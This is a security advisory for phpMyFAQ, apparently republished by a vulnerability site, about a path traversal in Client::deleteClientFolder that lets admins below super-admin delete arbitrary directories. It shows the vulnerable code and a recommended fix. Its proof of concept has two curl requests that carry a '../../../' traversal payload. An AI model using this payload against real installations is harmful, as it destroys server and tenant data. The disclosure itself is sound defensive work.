phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins — thorsten / phpmyfaq
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Summary
Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCE_DELETE permission (a role short of SUPER_ADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.
Details
phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:
public function deleteClientFolder(string $sourceUrl): bool
{
if (!$this->isMultiSiteWriteable()) {
return false;
}
$sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);
return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);
}
str_replace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.
Callers feed the URL from the HTTP request body:
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:
if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {
$clientData->url comes from json_decode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCE_DELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().
InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.
Precedent
GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.
Proof of Concept
Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCE_ADD and INSTANCE_DELETE rights, no SUPER_ADMIN flag.
Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.
Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'
Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/"}'
The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.
Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.
Impact
Any phpMyFAQ admin holding INSTANCE_ADD + INSTANCE_DELETE but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:
- Destroy other tenants' data on a shared multisite deployment by traversing above the
clientFolderinto peer directories. - Delete phpMyFAQ's own
content/,config/, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.
phpMyFAQ's permission model gives INSTANCE_ADD / INSTANCE_DELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.
Recommended Fix
Canonicalize and validate the URL before forming the filesystem path.
phpmyfaq/src/phpMyFAQ/Instance/Client.php:583:
public function deleteClientFolder(string $sourceUrl): bool
{
if (!$this->isMultiSiteWriteable()) {
return false;
}
$parsed = parse_url($sourceUrl);
if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') {
return false;
}
$host = $parsed['host'];
if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) {
return false;
}
$target = realpath($this->clientFolder . $host);
$root = realpath($this->clientFolder);
if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {
return false;
}
return $this->filesystem->deleteDirectory($target);
}
parse_url rejects malformed inputs, the regex pins the host to valid DNS characters (no /, no ..), and the realpath check ensures the resolved target lives under clientFolder. Apply the same canonicalization at the controller layer (InstanceController::add, ::update, ::delete) so the URL is validated before every call that touches the filesystem.
Found by aisafe.io
| Software | Affected versions |
|---|---|
thorsten / phpmyfaq
|
< 4.1.2 |
|
phpmyfaq / phpmyfaq
|
< 4.1.2 |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.